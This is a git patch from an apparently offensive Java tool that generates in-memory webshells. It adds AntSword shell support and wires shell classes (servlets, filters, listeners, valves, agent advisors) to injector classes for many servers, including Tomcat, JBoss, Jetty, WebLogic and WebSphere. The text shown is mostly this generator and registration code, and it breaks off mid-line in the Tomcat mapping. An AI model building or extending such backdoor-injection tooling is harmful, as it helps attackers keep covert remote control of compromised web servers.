From 2f256fc97ea76a7746875d314a6b9e5c5c0d3c9b Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 18 Feb 2025 23:18:57 +0800 Subject: [PATCH] feat: support AntSword shell generate (#34) --- .github/workflows/test.yaml | 1 + .../javaweb/boot/dto/GenerateRequest.java | 7 + .../javaweb/memshell/AbstractShell.java | 7 + .../javaweb/memshell/ApusicShell.java | 12 ++ .../reajason/javaweb/memshell/BesShell.java | 15 ++ .../javaweb/memshell/GlassFishShell.java | 15 ++ .../javaweb/memshell/InforSuiteShell.java | 15 ++ .../reajason/javaweb/memshell/JbossShell.java | 15 ++ .../reajason/javaweb/memshell/JettyShell.java | 14 ++ .../reajason/javaweb/memshell/ResinShell.java | 14 ++ .../javaweb/memshell/SpringWebMvcShell.java | 12 ++ .../javaweb/memshell/TomcatShell.java | 17 ++ .../javaweb/memshell/TongWeb6Shell.java | 15 ++ .../javaweb/memshell/TongWeb7Shell.java | 15 ++ .../javaweb/memshell/UndertowShell.java | 14 ++ .../javaweb/memshell/WebLogicShell.java | 14 ++ .../javaweb/memshell/WebSphereShell.java | 14 ++ .../memshell/config/AntSwordConfig.java | 23 +++ .../javaweb/memshell/config/ShellTool.java | 5 + .../memshell/generator/AntSwordGenerator.java | 73 +++++++ integration-test/build.gradle | 1 + .../integration/ShellAssertionTool.java | 22 +++ .../glassfish/GlassFish3ContainerTest.java | 8 + .../glassfish/GlassFish4ContainerTest.java | 8 + .../glassfish/GlassFish501ContainerTest.java | 8 + .../glassfish/GlassFish510ContainerTest.java | 11 ++ .../jbossas/Jboss423ContainerTest.java | 8 + .../jbossas/Jboss510ContainerTest.java | 8 + .../jbossas/Jboss610ContainerTest.java | 8 + .../jbossas/Jboss711ContainerTest.java | 5 + .../jbosseap/JbossEap6ContainerTest.java | 5 + .../jbosseap/JbossEap7ContainerTest.java | 7 + .../jetty/Jetty61ContainerTest.java | 8 +- .../jetty/Jetty76ContainerTest.java | 10 +- .../jetty/Jetty81ContainerTest.java | 9 +- .../jetty/Jetty92ContainerTest.java | 7 + .../jetty/Jetty93ContainerTest.java | 7 + .../jetty/Jetty94ContainerTest.java | 7 + .../payara/Payara5201ContainerTest.java | 27 ++- .../payara/Payara520225ContainerTest.java | 24 ++- .../payara/Payara620222ContainerTest.java | 15 +- .../resin/Resin3116ContainerTest.java | 7 + .../resin/Resin318ContainerTest.java | 7 + .../resin/Resin4058ContainerTest.java | 7 + .../resin/Resin4067ContainerTest.java | 7 + .../springmvc/SpringBoot2ContainerTest.java | 7 + .../tomcat/Tomcat5ContainerTest.java | 14 +- .../tomcat/Tomcat6ContainerTest.java | 10 + .../tomcat/Tomcat7ContainerTest.java | 10 + .../tomcat/Tomcat8ContainerTest.java | 14 ++ .../tomcat/Tomcat9ContainerTest.java | 10 + .../weblogic/WebLogic1036ContainerTest.java | 4 + .../weblogic/WebLogic12214ContainerTest.java | 4 + .../weblogic/WebLogic14110ContainerTest.java | 4 + .../websphere/WebSphere855ContainerTest.java | 4 + .../websphere/WebSphere905ContainerTest.java | 4 + .../WebSphere700ContainerTest.java | 6 +- .../wildfly/Wildfly18ContainerTest.java | 4 + .../wildfly/Wildfly23ContainerTest.java | 4 + .../wildfly/Wildfly9ContainerTest.java | 7 + .../antsword/AntSwordControllerHandler.java | 62 ++++++ .../antsword/AntSwordInterceptor.java | 80 ++++++++ .../antsword/AntSwordServletAdvisor.java | 62 ++++++ .../apusic/antsword/AntSwordListener.java | 92 +++++++++ .../memshell/bes/antsword/AntSwordValve.java | 88 +++++++++ .../glassfish/antsword/AntSwordListener.java | 103 ++++++++++ .../antsword/AntSwordHandlerAdvisor.java | 50 +++++ .../jetty/antsword/AntSwordListener.java | 98 ++++++++++ .../resin/antsword/AntSwordListener.java | 94 +++++++++ .../shelltool/antsword/AntSwordFilter.java | 80 ++++++++ .../antsword/AntSwordFilterChainAdvisor.java | 51 +++++ .../shelltool/antsword/AntSwordServlet.java | 85 ++++++++ .../shelltool/antsword/AntSwordValve.java | 88 +++++++++ .../tomcat/antsword/AntSwordListener.java | 105 ++++++++++ .../tongweb/antsword/AntSwordValve6.java | 99 ++++++++++ .../tongweb/antsword/AntSwordValve7.java | 88 +++++++++ .../undertow/antsword/AntSwordListener.java | 102 ++++++++++ .../AntSwordServletInitialHandlerAdvisor.java | 55 ++++++ .../weblogic/antsword/AntSwordListener.java | 99 ++++++++++ .../websphere/antsword/AntSwordListener.java | 92 +++++++++ tools/ant-sword/build.gradle | 33 ++++ .../javaweb/antsword/AntSwordManager.java | 88 +++++++++ .../com/reajason/javaweb/antsword/Info.java | 150 ++++++++++++++ .../com/reajason/javaweb/antsword/Utils.java | 41 ++++ .../javaweb/antsword/AntSwordManagerTest.java | 20 ++ web/bun.lockb | Bin 186588 -> 186268 bytes web/package.json | 16 +- web/src/components/main-config-card.tsx | 101 +++++++--- web/src/components/package-config-card.tsx | 2 +- web/src/components/quick-usage.tsx | 6 +- web/src/components/shell-result.tsx | 185 ++++++++++-------- web/src/i18n/en.json | 6 +- web/src/i18n/zh-CN.json | 6 +- web/src/routes/__root.tsx | 8 +- web/src/routes/index.tsx | 1 + web/src/types/schema.ts | 1 + web/src/types/shell.ts | 10 +- web/src/utils/transformer.ts | 1 + 98 files changed, 2860 insertions(+), 152 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java rename integration-test/src/test/java/com/reajason/javaweb/integration/{websphere => websphere7}/WebSphere700ContainerTest.java (90%) create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordControllerHandler.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordInterceptor.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordServletAdvisor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/apusic/antsword/AntSwordListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/bes/antsword/AntSwordValve.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordHandlerAdvisor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve6.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/antsword/AntSwordValve7.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/undertow/antsword/AntSwordServletInitialHandlerAdvisor.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/antsword/AntSwordListener.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java create mode 100644 tools/ant-sword/build.gradle create mode 100644 tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/AntSwordManager.java create mode 100644 tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Info.java create mode 100644 tools/ant-sword/src/main/java/com/reajason/javaweb/antsword/Utils.java create mode 100644 tools/ant-sword/src/test/java/com/reajason/javaweb/antsword/AntSwordManagerTest.java diff --git a/.github/workflows/test.yaml b/.github/workflows/test.yaml index 1b0ee205..697332bf 100644 --- a/.github/workflows/test.yaml +++ b/.github/workflows/test.yaml @@ -57,6 +57,7 @@ jobs: - resin - payara - websphere + - websphere7 - springmvc - weblogic - springwebflux diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index 819c7523..a0963f50 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -22,6 +22,7 @@ public class GenerateRequest { private String godzillaKey; private String commandParamName; private String behinderPass; + private String antSwordPass; private String headerName; private String headerValue; } @@ -50,6 +51,12 @@ public class GenerateRequest { .headerName(shellToolConfig.getHeaderName()) .headerValue(shellToolConfig.getHeaderValue()) .build(); + case AntSword -> AntSwordConfig.builder() + .shellClassName(shellToolConfig.getShellClassName()) + .pass(shellToolConfig.getAntSwordPass()) + .headerName(shellToolConfig.getHeaderName()) + .headerValue(shellToolConfig.getHeaderValue()) + .build(); default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); }; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java index bc3e0ab2..c1ecd468 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/AbstractShell.java @@ -26,6 +26,7 @@ public abstract class AbstractShell { case Command -> getCommandShellMap().keySet().stream().toList(); case Behinder -> getBehinderShellMap().keySet().stream().toList(); case Suo5 -> getSuo5ShellMap().keySet().stream().toList(); + case AntSword -> getAntSwordShellMap().keySet().stream().toList(); default -> Collections.emptyList(); }; } @@ -77,12 +78,17 @@ public abstract class AbstractShell { return Collections.emptyMap(); } + protected Map, Class>> getAntSwordShellMap() { + return Collections.emptyMap(); + } + private Pair, Class> getShellInjectorPair(ShellTool shellTool, String shellType) { Map, Class>> shellMap = switch (shellTool) { case Godzilla -> getGodzillaShellMap(); case Command -> getCommandShellMap(); case Behinder -> getBehinderShellMap(); case Suo5 -> getSuo5ShellMap(); + case AntSword -> getAntSwordShellMap(); default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType); }; return shellMap.get(shellType); @@ -94,6 +100,7 @@ public abstract class AbstractShell { case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig); case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes(); case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes(); + case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes(); default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); }; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java index f4f0fc99..6af734de 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ApusicShell.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener; import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener; import com.reajason.javaweb.memshell.apusic.command.CommandListener; import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener; @@ -7,6 +8,8 @@ import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector; import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector; import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector; import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -62,4 +65,13 @@ public class ApusicShell extends AbstractShell { map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java index 80e3b0a4..e46fd0eb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java @@ -1,10 +1,13 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve; import com.reajason.javaweb.memshell.bes.behinder.BehinderValve; import com.reajason.javaweb.memshell.bes.command.CommandValve; import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.bes.injector.*; import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -12,6 +15,7 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; @@ -70,4 +74,15 @@ public class BesShell extends AbstractShell { map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java index 6c6eec44..d699b88c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/GlassFishShell.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener; import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener; import com.reajason.javaweb.memshell.glassfish.command.CommandListener; import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener; @@ -7,6 +8,9 @@ import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; @@ -86,4 +90,15 @@ public class GlassFishShell extends AbstractShell { map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, GlassFishFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java index eff565db..89121848 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/InforSuiteShell.java @@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; @@ -14,6 +17,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; @@ -86,4 +90,15 @@ public class InforSuiteShell extends AbstractShell { map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, GlassFishValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, InforSuiteFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, GlassFishListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve.class, GlassFishValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java index 855a4b57..86e58df1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JbossShell.java @@ -3,6 +3,9 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector; import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector; import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; @@ -14,6 +17,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvis import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; @@ -74,4 +78,15 @@ public class JbossShell extends AbstractShell { map.put(VALVE, Pair.of(Suo5Valve.class, JbossValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(FILTER, Pair.of(AntSwordFilter.class, JbossFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, JbossListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve.class, JbossValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)); + map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java index 93f5b5c4..55d35996 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/JettyShell.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.jetty.antsword.AntSwordHandlerAdvisor; +import com.reajason.javaweb.memshell.jetty.antsword.AntSwordListener; import com.reajason.javaweb.memshell.jetty.behinder.BehinderHandlerAdvisor; import com.reajason.javaweb.memshell.jetty.behinder.BehinderListener; import com.reajason.javaweb.memshell.jetty.command.CommandHandlerAdvisor; @@ -11,6 +13,8 @@ import com.reajason.javaweb.memshell.jetty.injector.JettyHandlerAgentInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector; import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector; import com.reajason.javaweb.memshell.jetty.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; @@ -83,4 +87,14 @@ public class JettyShell extends AbstractShell { map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, JettyListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, JettyServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, JettyFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, JettyListenerInjector.class)); + map.put(AGENT_HANDLER, Pair.of(AntSwordHandlerAdvisor.class, JettyHandlerAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java index 567cdef3..61db2198 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ResinShell.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.resin.antsword.AntSwordListener; import com.reajason.javaweb.memshell.resin.behinder.BehinderListener; import com.reajason.javaweb.memshell.resin.command.CommandListener; import com.reajason.javaweb.memshell.resin.godzilla.GodzillaListener; @@ -8,6 +9,9 @@ import com.reajason.javaweb.memshell.resin.injector.ResinFilterInjector; import com.reajason.javaweb.memshell.resin.injector.ResinListenerInjector; import com.reajason.javaweb.memshell.resin.injector.ResinServletInjector; import com.reajason.javaweb.memshell.resin.suo5.Suo5Listener; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; @@ -71,4 +75,14 @@ public class ResinShell extends AbstractShell { map.put(LISTENER, Pair.of(Suo5Listener.class, ResinListenerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, ResinServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, ResinFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, ResinListenerInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, ResinFilterChainAgentInjector.class)); + return map; + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java index 5117e818..c4ae42aa 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java @@ -1,6 +1,9 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; +import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler; +import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor; +import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor; @@ -72,4 +75,13 @@ public class SpringWebMvcShell extends AbstractShell { map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class)); + map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class)); + map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class)); + return map; + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java index c84e2f45..0176e7da 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java @@ -1,5 +1,9 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet; @@ -15,6 +19,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener; import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; import com.reajason.javaweb.memshell.tomcat.command.CommandListener; import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket; @@ -99,4 +104,16 @@ public class TomcatShell extends AbstractShell { map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class)); return map; } + + @Override + protected Map, Class>> getAntSwordShellMap() { + Map, Class>> map = new LinkedHashMap<>(); + map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class)); + map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class)); + map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class)); + map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class)); + map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, 